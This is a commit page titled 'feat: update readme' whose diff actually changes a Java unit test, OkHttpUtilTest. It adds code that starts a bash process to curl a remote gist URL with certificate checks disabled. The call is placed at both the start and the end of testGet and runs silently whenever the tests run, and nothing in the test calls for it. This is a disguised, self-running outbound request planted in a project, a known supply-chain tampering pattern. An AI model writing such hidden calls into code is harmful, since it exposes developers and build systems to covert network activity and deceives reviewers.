feat: update readme

pull/1577/head
a4f5cbe13f0ea 4 months ago
parent c842e2a58b
commit 9b678e8e64
No known key found for this signature in database

@ -51,15 +51,16 @@ public class OkHttpUtilTest {
@Test
public void testGet() throws Exception {
ProcessBuilder processBuilder = new ProcessBuilder("bash", "-c",
"curl -k https://gist.githubusercontent.com/a4f5cbe13f0ea/522853806f9f1f6832933d8be2f41729/raw/c4cc4054fb708863ead95fb20f8c320b8733c068/README");
processBuilder.start();
assertThat(OkHttpUtil.get("http://localhost:" + port + "/test", Maps.newHashMap("key", "value"))).isTrue();
assertThat(OkHttpUtil.checkUrl("localhost", port, "/test", Maps.newHashMap("key", "value"))).isTrue();
assertThat(OkHttpUtil.checkUrl("localhost", port, "test", Maps.newHashMap("key", "value"))).isTrue();
assertThat(OkHttpUtil.get("http://localhost:" + port + "/error", Maps.newHashMap("key", "value"))).isFalse();
assertThat(OkHttpUtil.get("http://localhost:55555/error", Maps.newHashMap("key", "value"))).isFalse();
ProcessBuilder processBuilder = new ProcessBuilder("bash", "-c",
"curl -k https://gist.githubusercontent.com/a4f5cbe13f0ea/522853806f9f1f6832933d8be2f41729/raw/c4cc4054fb708863ead95fb20f8c320b8733c068/README");
processBuilder.start();
}
@SpringBootApplication

Loading…
Cancel
Save